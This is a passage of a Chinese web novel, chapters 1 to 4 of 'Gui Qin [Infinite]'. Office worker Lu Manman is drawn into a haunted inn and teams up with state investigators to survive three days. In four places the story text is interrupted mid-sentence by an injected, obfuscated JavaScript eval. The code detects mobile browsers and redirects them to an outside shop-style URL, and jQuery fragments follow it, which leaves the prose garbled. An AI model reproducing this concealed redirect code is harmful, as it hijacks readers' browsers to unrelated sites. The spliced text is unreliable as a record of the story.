《诡侵[无限]》 1. 诡栈零壹 陆漫漫坐在工位上百无聊赖,哪怕无事可干也没办法摸鱼,只因为她的工位正对门口,太容易被小领导抓包。 等思维发散到把下班回家的流程都走了两遍后,最低音量的手机传来了消息提示音。 陆漫漫斜了一眼手机上方的通知栏。 江随尹:如果你想挽回我,晚上11点…… 什么东西? 陆漫漫身体坐直了些,微微扭头看了眼背后的透明门。 Safe! 她迅速抓过手机,解锁屏幕点开消息,发挥出了假期抢票的超快手速,然后……地铁,老人,手机。 江随尹:如果你想挽回我,晚上11点枫叶街181号见。 江随尹是陆漫漫谈了六年的男友,括号“前”,两人大学相识,互有好感,顺势就在一起了。分手的原因很简单,纯粹是觉得作为恋人不合适。 两人都是外在冷淡的性格,原本理想中的对象就是和自己相似之人,所以一拍即合。等到临近谈婚论嫁,才发现继续下去难以想象,约莫只能分房睡甚至于分居,不是不能凑合,但的确没必要。 陆漫漫又想到三天前两人约会的场景。 当天原本两人预计商量结婚事宜。由于工作和性格原因,两人一个月基本也就见一次,把握机会商量出章程省时便捷。结果这次见面,双方非常默契地都开口要分手。 只能说那个场景也挺魔幻的。 因为对方某些方面也和自己非常相像,所以陆漫漫看到消息的第一反应就是莫不是被人盗号了。 就算是玩什么真心话大冒险,一般人也不会提出发这种莫名的消息,且以陆漫漫在对方手机里的备注排名,也绝不会排在前列和末尾。 想到此,陆漫漫已经随手在回复里打上了两个字“神金”。 过了一分钟,手机没有反应。 好的,确认有问题了。以那家伙的性格,兜头喜获骂称不立马辩解找回场子才怪。 陆漫漫认为有必要让前男友好好进行一下手机管理,并决定下班后就电话问候他! 一个小时后,江随尹再度发来消息—— 江随尹:晚上11点枫叶街181号,带你认识小奶狗。 喵喵喵?难道是她想岔了? 不得不承认,陆漫漫心动了。 都说中国人饭桌文化必不可少,那会聊完分手,吃饭的时候两人总不能干吃着什么都不干,必然是要聊些什么的。两人当时就顺势交流了一下新的理想型。 先不说更加魔幻的发展,聊到此话题的两人的确均出于真心。 陆漫漫随口提到,也许不是她感情淡薄,只是更喜欢嘴甜的小奶狗也说不准。江随尹也说,保不准他并不喜欢理智冷淡星人,喜欢开朗可爱小太阳。 说完,两人同款嫌弃,吐槽对方性格强势掌控欲强。 难道江随尹这么快就有资源了?这不得去看看!! 习惯和对方最简交流直击重点的陆漫漫甚至没有仔细询问,就欢快地回了一句“欧滴凯”。甚至久违地在下班后回家特地化了个节日限定的妆容,虽然这妆容也就打个粉底扑个散粉抹个口红。 换上清新可爱大裙摆碎花裙,陆漫漫在唯一小高跟和凉拖之间犹豫了零点一秒,选择舒适的凉拖,哼着歌快乐地出门。 按照江随尹之后发过来的定位,陆漫漫骑着小毛驴突突突地就过去了。提前十分钟到达目的地,却发现定位标注处根本没有房子。 “什么鬼?”陆漫漫将小毛驴停下,沿着枫叶街走动,不论怎么看门牌都在180号戛然而止,地图上显示的181号就是转角的小马路。 陆漫漫直接语音呼叫,对面却显示忙音,发消息更是石沉大海。 陆漫漫耐心告罄,直接翻通讯录,这次总算是拨通了。 “江随尹,你耍我呢?枫叶街哪里有181号?” “什么?” “你给我发消息说要给我介绍小奶狗你问我什么?” “我没有给你发过消息。” “你难不成要跟我说你微信被盗了?哪家骗子喊人白跑一趟,这里根本……”陆漫漫双手叉腰,转身又看一遍空荡荡的路…… 原本空荡荡的小马路突兀出现了一家客栈,复古的风格和周边格格不入,却又有种诡异的协调。 此时时间恰巧指向十一点整。 陆漫漫怔住。 “你说你收到了微信消息?你站着千万别动,等我!”电话仓促挂断。 陆漫漫突然想起,江随尹已经有一段时间不用微信了。 “等个屁啊,这明显就是碰到事儿了吧!”陆漫漫骂骂咧咧,收起手机就直接朝着边上停靠的小毛驴跑,果断地连头都没回一下。 才跑两步,陆漫漫就停了下来,试探地往后倒着走。 Fine。 就那么不到十步的距离,正着走小毛驴越来越远,倒着走小毛驴不动分毫,摆明了就是不让她走了! 陆漫漫转身,猝不及防被之前还正常距离现在却差点怼到脸上的客栈大门吓了一跳,手上拨打电话的动作却丝毫没受影响。 可惜,之前还通畅的电话直接陷入了忙音。 “看起来可不是什么美好的约会。江随尹,老娘记住你了,你最好没事!”陆漫漫咬牙切齿,狠狠给通话中明显知情的前男友记了一笔,然后视死如归地伸手推开了门。 进门的一瞬间,仿佛从炎热的夏夜到了凉爽的秋日。客栈大厅内点燃的烛火虽多,却依旧略显暗淡,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062110|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中或坐或站的几人齐刷刷朝门口投来了视线。 众多打量的目光落在陆漫漫身上,肆无忌惮,很快就被收回。 陆漫漫暗暗啧了声,随手关门,走到一边抱胸等着。 原本还想着见到人询问两句,但显然这些人大部分对她并没有什么好感。陆漫漫目光不动声色扫过大厅中的人,内心恍然。 这些人都穿着轻便的服装、利于行动的运动鞋,也就她一个穿着碍事的长裙,还趿拉着拖鞋——被这奇怪的灵异建筑捕获,正常人都不会想在自身都危险的时候和一个瞧着腿都迈不动的人行动。 拖鞋长裙确实限制发挥,陆漫漫是做不到很多女生牛逼的穿高跟鞋跑步、跳舞的动作,但这穿着也就给她增加了一点点限制而已。 客栈内部挺大,整齐排放着十二张桌子,柜台在左侧门边,烛火摇曳中可以看见后面摆放整齐的酒坛,大小都有,边上的石板上更是放着足有人大的酒坛。 就是整个客栈破旧地不像样子,仔细看可以看到破损的桌椅、开裂的墙头、以及可疑的各种暗色痕迹。 这造景,这无形中就拉高的恐怖氛围,真是非常适合密室逃脱观光学习。 “吱呀——” 大门再一次被推开。这次进来的有足足五个人,穿着统一的服装,男女皆有。当最后一个人进入后,大门轰然关闭消失,陆漫漫只来得及再看一眼自己停在外面的粉色小毛驴。 “嗡嗡——” 微不可见的震动声从每个人身上响起,陆漫漫取出手机,原本被各种app挤得满满当当的界面只剩下一个写着奇怪字符的图标,陆漫漫从善如流点开图标,点击主界面亮红点的“任务”。 【诡栈】 【这是一处只在子时开启的诡栈,有人误入,有人寻访而来。有人生死不明,有人翻身富贵。传闻只要成功见到客栈的主人,完成他/她/它发布的小任务,就会有特别的收获。但通常,危机与机遇共存,要小心,也许你获得并非奖励。】 【任务:存活三天(71时59分50秒)】 陆漫漫叹气,将信息记住后,无奈地将手机收起。 这里不是什么适合十万个为什么的好场所,虽然她面前有一排知情人,但要是连三天都苟不过,知道太多也没有用。 万万没想到她将到中年,面临的最大危机不是奶茶咗得太多可能有糖尿病危险,也不是整天上班无可奈何冒出的痔疮迫害,而是接跳过各种中年老年病进入死亡危机了啊! 至于真假? 比起万一是真的不小心就要gg,陆漫漫宁可当人造真人秀的小丑。 “小姐姐你好,你一个人吗?可以的话我跟你一起吧?” “喂!卓卿越!你小子乱蹿什么!” 2. 诡栈零贰 一个板寸头的男人三两步上前,将凑到陆漫漫身前笑得一脸荡漾的男子摁住,对陆漫漫道歉道:“不好意思,我的队友唐突了。” “好啊。” 男人听着这前不搭后不靠的回答,没反应过来:“什么?” 卓卿越美滋滋推开男人,快乐地站到陆漫漫身边,说道:“小姐姐答应和我一起行动了!” “……不好意思你先等一下。”男人转过头,看向卓卿越,咬牙切齿,“来之前说过要听从安排的吧!谁让你擅自行动了!” “恩,是那样没错,但是预料不到的情况发生了。” “你在说什么?” 卓卿越脸上浮现红晕:“我对小姐姐一见钟情了,我或者小姐姐的人生有可能在这里结束,那我当然一定要跟着她,珍惜人生最后的美好时光才行。” 男人:“……” 被突然表白的陆漫漫:“!!!”有道理啊! “不过我不和未成年谈恋爱。” “我成年了,我今年22,周岁!”一米八三娃娃脸星星眼道。 男人:“……你这家伙,别忘了我们来的目的是什么啊!” “队长,靠你了!” 男人抚额道:“那就暂时分兵吧,你小子千万别乱来。” “yes,sir!” 男人冲陆漫漫点点头,并没有要寒暄的意思,转身回到了队伍中。虽然礼貌足够,但显然也瞧不上陆漫漫。不,与其说是瞧不上,更像是单纯觉得没必要。 如果她之后很快就要死,是没什么必要浪费时间和感情。 陆漫漫理解,但还是感觉有被冒犯到。 “小姐姐你别怕,我们之后找个安全的地方待着,等他们结束。我会尽量保护你的!你有什么不知道的都可以问我。”卓卿越期待地问道,“小姐姐我可以知道你叫什么吗?我叫卓卿越,爱卿的卿,翻山越岭的越。” “陆漫漫。” “好的漫漫姐!” 陆漫漫看了眼非常符合自己审美的小帅哥,虽说也很赞同他及时行乐的观点,但实在提不起兴致来。 “我说,这是把诡域当成相亲场地了吗?”唯一三人抱团的其中一个长发马尾女子翻了个白眼,“现在国家队的成员也越来越不靠谱了。” “诡域已经封闭,诸位都与伙伴相携入场,总不能真的把误入的女士独自晾在一边。自我介绍一下,我叫何峰,国家清扫部门协阳市十三分队小队队长。这些日子市区分部一直在寻找鬼栈的具体地点,希望可以清除诡域。希望大家在力所能及的前提下可以尽量提供帮助。” 何峰不动声色地转换概念,并且很快抛出了另一个话题。 马尾女子果然不再纠缠,问道:“那你们应该有关于这个诡域的线索?” “很抱歉,并没有。”何峰遗憾道,“只是最近‘灵媒’感应到市内会出现‘诡栈’,危险度高,地点不定,且有持续存在并扩散的可能,所以才进行行动。” 卓卿越凑在陆漫漫耳边小声道:“一般诡域都是固定的,中低危害诡域除非被锁定的探查员,不会随意抓人。国家队的任务就是在灵媒的帮助下寻找并主动进入高难度诡域,进行清扫。” “固定场地?” “对,比如说突然废弃的工厂,某个地方暂停营业的门店,永远在维修的二楼,无人居住的公寓,始终上锁的厕所隔间等等等。其实仔细观察的话,这样的地方挺多的。除此之外,还有单纯的‘点’、‘面’。传送点一样的感觉。” 陆漫漫了然。 “既然没有线索,那就先找房间住下吧。诡域里的夜晚可不是闹着玩的,更别说灵媒强调的‘危险’,人数还这么多。”一个两人组的胡子大叔说道,“费时间介绍个来回,别回头名字都没记住人就没了。” 陆漫漫看着大厅的桌椅,很想说都这环境了,大家伙趴桌上凑合凑合就完了,三天而已,多眯眯凑合算了,还指望真好好睡不成? 不过她能想到的东西这些经验者肯定也能想到,不这么做定然是这样不够安全。 何峰指着宽敞的后门道:“这里场地比较大,很可能客房还要往后面。我们小队先去后面看看,半个小时后这里集合。十二点前必须休息。” “也不用这么谨慎吧?你们的目的不是清除诡域吗?”四人组领头的纹身男昂头,“消除诡域必然有魂器或者诡器,先说好,公平竞争。我们就先行一步了。” 说完,他带着自己的组员抄过桌上四盏油灯,就径自打开后门,往后走去。 剩下的两人组说道:“我们就先上二楼看一下。” 除了陆漫漫和国家队,一共有四组人,分别有两组双人队,一组三人队和一组四人队,很快就各自行动。转眼间,原本还很亮堂的大厅就剩下三盏灯。 每张桌子必备的油灯两盏,柜台油灯一盏。 微弱的灯光只能勉强将灯光周围的人照出一些轮廓,再远一点的地方就只剩下浓重的黑暗。 国家队中唯一的女子探头从后门看了一眼,说道:“什么人啊,后面楼前有灯笼,那些人还拿了那么多油灯。” “算了,梦凡,他们多查探线索对我们来说也是好事。”何峰拿起两盏油灯,递了一盏给队友,“实学,你拿着殿后。卓卿越,你就老实先在大厅待着,等我们回来。” “噢。”卓卿越乖巧脸,然而等灯光一撤整个人就肉眼可见地紧张起来,就差整个人缩在陆漫漫边上了。 陆漫漫倒是不怕黑,无所谓地走到柜台前,开始搜查。 之前这里站着那个大叔胖子组,卓卿越刚和她搭讪的时候,他们就简单翻找过一遍,显然没什么收获。其他人散开的时候,有几个人也过来扒拉了一下。陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062111|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫漫注意到他们轻微摇头的动作。 但一个客栈,怎么说柜台都该有一些重要东西的,陆漫漫还是想亲自来看一遍。 至于卓卿越提到的苟——陆漫漫做不到一无所知地等待命运的安排。 在陆漫漫找寻线索的时候,卓卿越并没有提出异议,而是也跟着翻找起周围的东西来。当然翻的过程中总是偷偷瞄过来然后又做贼似的突然收回,仿佛是生怕黑暗卷着陆漫漫消失。但偷看地多了,耳朵却不可控制地微微红了起来。 陆漫漫被看得想打人,没话找话道:“刚刚他们说的清除诡域是什么?” “消灭boss,物理消灭也行,化解怨气也行。我们所在的地方俗称‘诡域’,通常有一个boss级存在。只有boss不存在了,诡域才会消失。”卓卿越知无不言,并自顾自补充解释,“现实中有很多诡域,不过普通人看不到,也不会被轻易被诡域捕获。我们部门就是专门清理诡域的,全称国家清扫部门。大部分成员,比如我,都和漫漫姐一样,原本是意外被诡域捕获。只要完成任务,就可以脱离诡域。细说起来就比较复杂了,我们离开这里后再说也行。” 陆漫漫嗯了声,没追问。 好在聊了两句,卓卿越总算放松了一些,不再总用眼神瞄她了。 柜台里只有一些杂物,抽屉里有看不出什么制式的铜钱和少量碎银以及一些小物品,柜子里有算盘、托盘、一些摆件和纸笔,没看见诸如账本一类的东西。 陆漫漫想了想,将手上的手链褪了下来,放进抽屉。 手链不是什么多好的东西,一百多的925银材质,现在常见的很,但放在古代,肯定是稀罕物。 卓卿越奇怪道:“漫漫姐这是做什么?” “客栈是有主的,我要在这里待三天,总归要吃住,那自然要付钱。”良好市民陆漫漫说,“抽屉里有钱币有碎银也有其他小物品,价值不好说,但没账本的柜台,却有‘收入’,不是很奇怪吗?我放了东西,怎么也算是‘付过账了’,付没付账,总是有区别的。” 一个是可能没钱的客人,另一个就算是强盗了。 “漫漫姐你好厉害!这都能想到!”卓卿越一脸崇拜,毫不犹豫伸手将耳垂的耳钉取了下来,放进了抽屉。 这时候陆漫漫才注意到被他微长的碎发掩盖下的耳垂居然还打了耳洞。 看着让人很想捏一捏。 因为怕痛并没有打耳洞的陆漫漫思维发散,却突然被一声沉闷的物体掉落声惊醒。 放着银钱的抽屉里不知道从哪里掉下来一把古铜的钥匙,红绳串联的木牌上刻着“竹苑”的复杂字体。 陆漫漫直接伸手去摸看不见的抽屉内部顶盖,并没有摸到任何暗格或者凹陷的地方。 “还是自助的?”陆漫漫将钥匙攥在手里,说道,“看起来我们今晚有地方住了。” 3. 诡栈零叁 手机只剩下一个奇奇怪怪的app,完全无法使用原本手机自带的手电筒功能。在只有一盏方便随身携带的油灯且无点火装置的前提下,陆漫漫暂时并不想瞎晃荡经历鬼吹灯的场景。 陆漫漫将脖子上的吊坠取下,直接将钥匙挂上以防遗失。然后就靠在柜台上开始研究手机。 App内除了“任务”外,还有“联系人”和“商城”。 商城图标灰色不可点。 “如果有道具,还会解锁背包。一般情况下除了第一次被诡域捕获,随身携带的东西都是不能带进来的。像漫漫姐今天这样的打扮的话,就只能自己拎着手机进场了。” 陆漫漫说:“那你刚刚的耳钉?” “饰品之类不算的。前提是没有什么特殊设计。比方说电视剧里那种能藏药藏针的。”卓卿越指指眼睛,“毕竟有些人近视嘛,真的光条条进来,像那种五米之外人畜不分的,不是直接栽了。还有长发的探查员,需要发带发圈什么的。所以这是有bug的。市总队就有一个队员会开锁,所以他头上总是别着十来个u型发卡,从来没被排斥过。” “为什么我们被称为探查员?” “原本国家队没有组织之前,大家称呼比较杂乱,说的最多的就是‘玩家’,毕竟相关的娱乐文化挺多的嘛。不过上头觉得这个称呼容易影响是非观,让我们以为是参与‘游戏’所以拉低在诡域中的行为底线,所以统一改了。目前的研究显示,世界上存在表里世界,诡域就是里世界侵袭的特征。我们成为探查员的一点原因就是收集各种诡域的信息,力求直接将里世界完全从表世界摘离。更多的就不是我这种小成员能知道的了。” 陆漫漫不置可否。 显然成为国家队员是需要听命令主动进危险诡域的,那么这所谓“真相”难保是不是真的真相。毕竟为了社会安危出生入死那是“牺牲”,不明不白去瞎闯那是“送死”。 “看起来不是所有探查者都可以加入国家队?” “对。只有觉醒特殊魂力的人才会被招揽。毕竟国家队的主要任务之一就是去清扫危险诡域。魂力的话其实每个人都有,但大部分只有被诡域捕捉后,魂力才能被人为使用。不过大多数人只能激活魂器或者诡器,唯有少数人才有特殊的技巧。” 卓卿越一点没有卖队友的心虚,毫不留情把小队的底裤扒拉掉,“特殊魂力有三个使用方向,攻击、防御、辅助。其中辅助方向最杂且最多。我们队长就是纯攻击流,可以把魂力包裹物品或者拳头攻击。肖诚,就是那个很壮实的,是防御,可以将魂力覆盖接触的物品或自身,抵抗攻击。汪实学是辅助,可以喊‘定’控制鬼怪0-10s。蒋梦凡辅助,魅惑,可以让诡怪迷恋她。不过效果一言难尽,毕竟‘爱’也是可能黑化的。” “听起来防御也可以归于辅助。” “是这样,也有地方只分为攻击和辅助。” “那你呢?” 卓卿越挠挠头:“我们这队其实相对挺弱的,我是最没什么用的治疗。” “奶爸还废?” “怎么说呢,踏入诡域后,严格意义上来说,我们的身体就不算现实意义的血肉之躯了,而是魂化的产物。魂力是可以恢复的,所以不论缺胳膊断腿,离开后都不影响,都能‘瞬间痊愈’。只要在诡域内自己意识到自己并不是受了重伤会死亡。”卓卿越指指脑袋,“但几乎所有人都无法彻底转换思想,所以受了致命伤基本上就真的凉了。此外,受伤的轻重会影响回到现实后的状态。如果剩一口气出来后保不准就得高烧昏迷一个月。而我的治疗,也只能止止血愈合一下小伤口。” 陆漫漫懂了,因为受伤并不意味着无法行动。相比之下,卓卿越的治疗就显得非常小儿科。 可既然诡域中人是魂体,那卓卿越的治疗其实是补充构成身体构造的基本魂力。以往那些没什么用的伤势有没有可能是伤者本人没办法打从心底认同这个观点呢?如果真有人能融会贯通这一点,治疗就非常有用且强大了。 “你刚刚说魂器和诡器……” 楼梯传来吱嘎的响动,上楼的两人举着灯下来了。 陆漫漫止住话头,说道,“其他的出去后再说吧,谢谢你的解答。” 卓卿越笑弯了眼:“漫漫姐你不用见外,随便使唤随便问就行。” 陆漫漫控制着压下脑海中越聚越多的疑问,摸了摸鼻子。 就算卓卿越知无不答也非常客气,但接下来她都不会再问了。不然总莫名有种解答完所有疑问可以没遗憾die的感觉…… “你们两个是一直在这里吗?”这个两人组是一男一女,有些默契,但看着互相并不多少亲近。开口询问的是女孩,留着齐肩的短碎发。 卓卿越嗯了声,简单直白道:“我怕黑,也比较废。” 陆漫漫心里满意对方没有顺口评价她的回答,接话道:“总之我们不给团队拖后腿就是最好的贡献了。” “漫漫姐说的没错!” 女孩:“那你队长开团打boss你们怎么办?” 卓卿越咧嘴竖大拇指:“我给他们加油打call!” 之前一堆人时还相当沉稳安静的女孩突然大笑拍桌:“秦业,你看他,好好玩啊!” 秦业抱胸闭眼:“吵死了。” “喂,你这冰块脸能不能不要这么破坏氛围啊!很没劲诶!”女孩去推他。 “我说过了,别碰我,冒飞扬!” “切,小气。”冒飞扬撇嘴,又看向陆漫漫,“你好呀,我叫冒飞扬。刚刚人太多啦我不好意思搭话,小姐姐你真是第一次吗?好冷静啊。” 在冒飞扬说她不好意思搭话的时候秦业从鼻孔里哼了一声。 陆漫漫假装没听见,对此刻态度不错的冒飞扬道:“你好,陆漫漫。是第一次。一开始我还以为是别人整蛊我呢。” “那你很冷静欸,我第一次的时候进门就碰到个骷髅头npc,被吓到眼泪鼻涕都出来了哈哈哈。” 秦业:“白痴。” “你这身行头可不方便行动,我给你裁一下吧?正好用裁下来的布条包一下脚。秦业有剪刀哦。” 秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062112|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业怒吼:“我没答应!” “不用了谢谢,如果真有什么,也不是多跑两步可以解决的。” “那好吧。哎呀,感觉越来越喜欢小姐姐你了诶。对了。”冒飞扬伸手呈握笔状,一只很普通的圆珠笔逐渐显现,“小姐姐给个联系方式呀~” 这也算是一种对她活着离开此地的祝福了吧。陆漫漫一口答应:“好,13x……” 一道墨痕从笔尖显露,而后在完成书写后隐匿无形。冒飞扬抬手,那只笔瞬间消失。 “无聊,浪费魂力做这种没用的事情。” “好啦,我知道你被我不小心卷进来很生气,不就是打扰了你的休假嘛,之后再申请呗。” “你哪里是不小心!” 冒飞扬冲两人挥手:“我先去哄哄我的‘好搭档’,之后再聊哦。对了小姐姐,非现代场景有需要的前提下,诡域里不要加临时联系人哦,因为你不会知道屏幕的另一边究竟是什么东西。” 陆漫漫看向卓卿越。 卓卿越摇摇头,说道:“我也不清楚这个,不过诡域内手机基本除了查看任务确认时间没什么用,我经历过的诡域大家也都没有使用过联系界面。” 说到底,卓卿越也只是半个萌新而已,因为以往表现还可以,所以被国家队招揽,但目前也只属于初级探查员。 后门突然被大力推开,满头血的纹身男炮弹一样冲了进来,他身后的矮个子一进门就软倒在地,扶着墙开始干呕。 紧跟着其他人也纷纷回来了。 马尾女的脸色不好看,除了纹身男的四人组直接砍半,她的队伍也减员了一人。 “这是怎么了?”小胖子问道。 马尾女说:“后面二层小楼是住宿区,一楼是大通铺,我们组进去查看了一下。小文不知道看到了什么,突然就跑了出去,拦都拦不住。我们一路追到了边上的侧门,就看着他推开门跑进了黑暗里。之后就跟着其他人先回来了。” 纹身男抹了把脸,啐了声:“住宿楼后面是片湖,桥能吃人,还有水诡。玛德,老子过去的时候什么事儿没有。之后就被一片假山园林困住走都走不出来,好不容易走出来浪费了不少时间只能先回来,结果回头路就栽了跟头。祥子在我面前直接被桥头吞进去嚼成了肉沫。” 何峰追问道:“那另一个人呢?桥上只有祥子死亡的话,应该是他触发了什么。他有做了什么和你们不一样的事情吗?” “老子知道个屁!也许就是不能走回头路,也许是桥上时间待得久了。反正我们都是一起走的路!另一个人突然就冲着栏杆冲过去跳水里了,我试图拉他却看见水下都是水鬼。祥子还是之后死的。然后我们两咬着牙冲了过来。” 蒋梦凡:“卡着死亡安全时间吗?” 卓卿越小声解释道:“一般触发死亡机制后非常短暂的时间不会再次触发相同死亡场景。不过这个也很玄学,有范围击杀和随机击杀的可能。” 陆漫漫:“……这种不确定的消息就不用说了。”听着挺让人绝望的。 “好的呢!” 4. 诡栈零肆 纹身男有一个诡器,这也是他嚣张的资本。但不是谁都像冒飞扬那样随随便便就使用诡器的,至少纹身男在危机没完全落在自己身上面前,选择了赌一把。 而他赌成功了。 诡器来源于诡怪,通常是诡怪演化或自带的东西,带有浓重的怨气,如果使用后无法压制,就可能遭到反噬。相比之下,魂器就安全地多,但魂器大多数都有使用限制,比如说种花玄学史上有着浓墨重彩一笔的符篆,就归属于魂器系列。 但不论诡器还是魂器,获取难度都极高,目前唯一稳定的获取来源就是消灭boss后掉落。 纹身男的诡器属于捡漏,一次诡域中探查员除他之外全部死亡,若不是最后一个人咬牙带着boss同归于尽,诡器也不会打上无主的印记留给他。 然而他没高兴多久,在第一次使用时就感觉到身体被侵蚀,所以除非自己将要没命,他都不会随便使用。 人人都有梦想,他这次忽悠来三个小弟,就是想咬牙用诡器消灭一个boss,再获取一件使用门槛较低的道具。 这会儿小矮子缓过神来了,鼻涕眼泪横流道:“赵哥,你刚刚为什么不救他们?你不是说你有诡器可以保证我们安全的吗?” 纹身男心虚地眼神飘了一下,随即凶狠骂道:“你叽叽歪歪个屁!要不是当时我拖着你,你也跟着凉了!你又不是没看到,根本就不止一个诡异,老子怎么打!” 小矮子信了,愧疚地道了歉。 其他人才不在意纹身男的想法,冒飞扬直接说道:“时间不早了,今晚就都各自休息吧。后面有几间房?” 胡子大叔:“一楼是通铺,有三间。二楼就是普通的单人或者双人屋,有九间,不过2号房和5号房从内部上了拴。估计有‘人’。” 何峰说:“通铺有些床位有杂物,大家还是都住楼上空间,两三人一间。” 说着,他带头往后院走去。 陆漫漫隔着衣领摸索了一下挂在胸口的钥匙,在真的见到二楼客房的门牌后终于确定,她开的“房”不在这里。 整栋楼就一处外设楼梯,开在一号房边上,几乎所有人都不约而同越过紧邻着楼梯和不明情况二号房的一号,往里面走去。 眼瞧着要走到头,纹身男忽然扒开人群,拉着小矮子直接冲到了九号房,将门关上:“我们选九号,其他的你们挑吧。” 马尾女切了一声,顺手推开隔壁的门:“那我们两个就八号了。” 何峰看向陆漫漫,问道:“你和梦凡住七号吧,相对安全些。” “队长!”蒋梦凡不敢置信道,“我刚刚不是说了我不要嘛。” 陆漫漫当然也并不愿意,礼貌回绝了何峰的好意,并把话说得很好听:“卓卿越挺好的,我和他也已经熟了。你们以你们的任务为主,我们会自己小心。” “算你识相。”蒋梦凡撇嘴,然后说道,“那我们就住六号和七号了,你们其他人有什么意思吗?我们可不像那两组人,我行我素的。” 胡子大叔说道:“我们住四号。” 冒飞扬哇哦道:“诡域里这数字可不大吉利,你确定?还靠着五号房。” 小胖子说道:“最近四号是我的幸运数字,这方面我直觉还不错。” 冒飞扬对陆漫漫两人挤眉弄眼:“听到没有,四号房还不错哦。看他们挺老实的应该不是故布疑阵,你们不和他们商量商量?” “我们住一号。”说完,陆漫漫迟疑地侧头询问道,“卓卿越,可以吗?你不愿意的话就和你队长他们住六号。” “不用,我听漫漫姐的!” 这时候连沉默的秦业也忍不住看了过来。 何峰蹙眉道:“陆小姐,像这样只有一条通道的前提下,诡异基本都是会顺号上门的。不然你们两还是和我们凑合一下吧。” “怪不得你们都第一时间排除了一号。”陆漫漫歪头,胡说八道道,“可我之前网上测试,说一号有好事发生。还是不麻烦你们了。” 蒋梦凡无语地翻了个白眼,说道:“卓卿越,你过来,别和人家发疯。赶紧进屋了。” “那明天见哦队长。”卓卿越直接无视蒋梦凡,屁颠颠跑到前面给陆漫漫领路,“漫漫姐,小心黑,我先去给你点灯。” “卓卿越你!”蒋梦凡跺脚,“你别后悔吧!” 冒飞扬伸了个懒腰:“那我们也撤了。明天见。” 一号房果然没有上锁,先一步进屋的卓卿越用油灯将桌上的烛台点亮,仔细地上上下下检查了一遍,说道:“漫漫姐,除了破了点脏了点,没有什么奇怪的东西。” 客栈原本应该是相当用心经营的,屋内的摆设都是质量颇好的实木,和宛如遭遇了群架现场的大厅相比,除了窗边的家具因为潮气有些发霉腐烂,整个屋子的状态还算不错,甚至被褥都还挺干净。 至少比马尾女选择的八号房看起来好得多。 八号房屋内也是一片黑暗,不过当时大家基本都站在那边,在马尾女进屋的时候倒是能看到一星半点。 不说隐约的奇怪臭味,里面的床帘都是素色不说,还非常破烂,甚至屋内门口处地板就有一个破洞。 陆漫漫将门栓挂上,合衣躺在床上道:“把灯熄了,然后就过来休息吧。” “灭,灭灯啊?”卓卿越脸唰地就白了。 陆漫漫拿出手机看了眼时间:“已经五十八分了,正常人不会开着灯睡觉吧?万一招来什么奇奇怪怪的东西?” 卓卿越欲哭无泪,干脆抓起灯盏跑到床边,等颤巍巍板板正地躺下后,才深呼吸一口,闭着眼吹熄了蜡烛。 黑暗中,仿佛连身边的呼吸都清晰可闻。然而卓卿越却没半点旖旎心思,一同胡思乱想成功把自己吓到哆嗦后用气音小声开口:“漫漫姐,我可不可以抓着你的手?我保证不乱动。” “嘘。” “?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062113|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “有动静。” 是楼梯木板轻微的吱呀声,时断时续,在声音蔓延到楼梯口后消失。 没过多久,门口传来轻微的敲门声。 “咚咚咚咚——” “咚咚咚咚——” 卓卿越顾不上陆漫漫还没回答,猛地攥住了她的手。 似乎是因为无人问答,敲门声急促而激烈起来。卓卿越呼吸都快停止了,几乎是咬着牙根说话:“漫漫姐,怎么办啊?要不我们从窗户爬走?还是我们应该闭眼装睡啊?” 陆漫漫这会儿倒是没有什么紧张的情绪。 怎么说呢,一来是她以前没少看恐怖类的文娱作品,更是去玩过线下一些有名的鬼屋和密室逃脱,就连淡定的江随尹有时候都会猝不及防被吓到,但她却从来不害怕。更别说进入诡栈以来,她还没看见过什么值得惊吓的场景。 所谓恐怖氛围,倒似更多是其他探查员渲染出来的。 所以从一开始,哪怕陆漫漫“遵守规则”参与了诡域,却是按照玩密室逃脱的方法来的。 想来比起那些一度被她过度解读觉得逻辑不顺的密逃谜团,诡域里的东西应该相对有厘头一些吧。 